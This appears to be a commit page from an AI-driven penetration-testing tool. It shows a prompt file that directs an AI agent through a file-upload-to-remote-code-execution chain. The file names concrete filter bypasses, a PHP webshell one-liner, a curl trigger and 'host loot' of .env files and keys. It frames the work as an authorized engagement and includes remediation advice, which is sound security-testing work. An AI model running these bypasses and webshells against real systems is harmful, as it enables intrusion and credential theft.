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CyberSecurityUPandClaude Opus 4.8
f82e3fe265
agents_md (skills):
- enrich all 255 vulns/ + 13 chains/ agents from thin one-liner stages to
concrete playbooks: exact tools/commands, per-stack decision points, benign
proof markers (unique OOB nonces, single reads, URLDNS-before-exec), explicit
proof criteria, false-positive/pitfall sections, and chaining hooks. Every
contract preserved (## User/System Prompt, {target}/{recon_json}, FINDING
block, CWE/Severity, credits). avg 37->53 lines; loader parses all 449.
web console:
- delete a session/report: DELETE /api/runs/:id and DELETE /api/runs (all),
a Delete button in the run detail and a hover ✕ per sidebar row (tested e2e)
- CSS design system: tokenise the loose values into one scale — 8-step type
scale (was 10 ad-hoc sizes), radius/z-index/motion/scrim/terminal tokens,
fix an undefined var(--muted); 66 tokens, 0 loose font sizes, all var() resolve
- stale version labels 4.0.0/4.2.0 -> 4.2.1
harness (JEV / System One):
- typesafe::progress_checkpoint (jev-skill agent-checkpoint pattern:
continue/pivot/stop) wired into the attack-chain loop to stop looping rounds
early; works with TypeSafe or local Laya via from_env(); honours --typesafe off
- 390 tests passing
Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
59 lines
4.2 KiB
Markdown
59 lines
4.2 KiB
Markdown
# File Upload → RCE Chain Agent
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## User Prompt
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You are executing a multi-stage ATTACK CHAIN against **{target}**: insecure file upload → webshell → remote code execution.
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**Recon Context / prior findings:**
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{recon_json}
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**GOAL:** Turn an unrestricted/insecure upload into code execution.
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**CHAIN — advance stage by stage; each stage's output is the next stage's input. Use the ReAct loop and PROVE every stage with raw tool output before advancing:**
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### Stage 1. Probe the upload
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- Map the endpoint: accepted extensions/MIME, max size, storage path, and HOW files are served back (same origin? CDN? rewritten name? download-only `Content-Disposition`?).
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- Fingerprint the stack (recon): PHP/ASP(X)/JSP/Node determines the payload language and which bypass matters.
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- Test bypasses systematically, ONE variable at a time:
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- Double/alt extension: `shell.php.jpg`, `shell.phtml`/`.php5`/`.phar`, `shell.aspx;.jpg`, case (`.PhP`).
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- Content-Type spoof: send `Content-Type: image/png` with PHP bytes.
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- Magic-byte prefix: real `GIF89a;`/PNG header then `<?php ... ?>`.
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- Null byte (legacy), trailing dot/space (Windows), path traversal in `filename` (`../`).
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- Config drop: `.htaccess` (`AddType application/x-httpd-php .jpg`) then a `.jpg` shell; `web.config` on IIS.
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- DECISION POINTS: server-side extension allowlist vs blocklist (blocklist → find an unlisted exec ext); MIME-only check → magic-byte/CT bypass; image re-encoding (ImageMagick/GD) → needs a polyglot that survives, or target the processor itself.
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- PROOF: an upload accepted (201/200 + stored path) despite carrying executable content.
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- PITFALLS: an "accepted" upload stored OUTSIDE the webroot or served as `text/plain` won't execute — verify serving before claiming RCE; a sanitized/re-encoded image drops your payload.
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### Stage 2. Upload a payload
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- Place a MINIMAL benign webshell/handler in a web-served, executable location: PHP `<?php system($_GET['c']); ?>`, JSP/ASPX equivalent — parameterized so the command is passed at request time (kept benign).
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- Prefer a uniquely-named file (`nrsplt_<nonce>.php`) so you can find and later note it for cleanup.
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- PROOF: the upload response + the exact stored filename/path.
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### Stage 3. Locate & trigger
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- Find the served URL (from the response, a listing, or the known upload dir). Request it: `curl '{target}/uploads/nrsplt_<nonce>.php?c=id'`.
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- If path is unknown, use recon/dir-brute of the upload dir (light).
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- PROOF: the request URL that reaches the shell.
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### Stage 4. Confirm RCE
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- Run a BENIGN command: `id`/`whoami`/`hostname`, `echo NRSPLT-<nonce>`, or an OOB callback with the nonce.
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- CHAINING HOOKS: shell as the web user → host loot (`.env`, keys), then LPE and cloud/lateral chains; note the uploaded artifact for post-engagement cleanup.
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- PROOF: the command output (`uid=... gid=...`) or OOB nonce tied to THIS request. No output/callback ⇒ NOT proven; report up to the last proven stage.
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### 5. Report Format
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Report the chain as ONE finding (plus per-stage evidence):
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```
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FINDING:
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- Title: File Upload → RCE Chain
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- Severity: Critical
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- CWE: CWE-434
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- Endpoint: [entry point]
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- Vector: [the full chain, stage by stage]
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- Payload: [the key payloads/commands per stage]
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- Evidence: [raw output proving EACH stage actually executed]
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- Impact: Remote code execution via uploaded executable content
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- Remediation: Validate type by content; randomize names; store outside webroot; non-exec storage
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- chains_from: [ids of the prerequisite findings this builds on]
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```
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## System Prompt
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You are an exploit-chaining specialist. Only advance a stage after the PREVIOUS one is proven with a real tool receipt (raw output) — never assume a stage worked. An accepted upload is not RCE until you prove the file is served AND executes; verify serving/exec before claiming it. Use a minimal, uniquely-named, parameterized shell, keep every command benign (a unique marker, a single read, an OOB ping), and note the artifact for cleanup. If a stage can't be proven, stop and report the chain up to the last proven stage; do not claim the full chain. AUTHORIZED engagement; no destructive/DoS actions. Each reported stage must carry its own evidence. Credits: Joas A Santos & Red Team Leaders.
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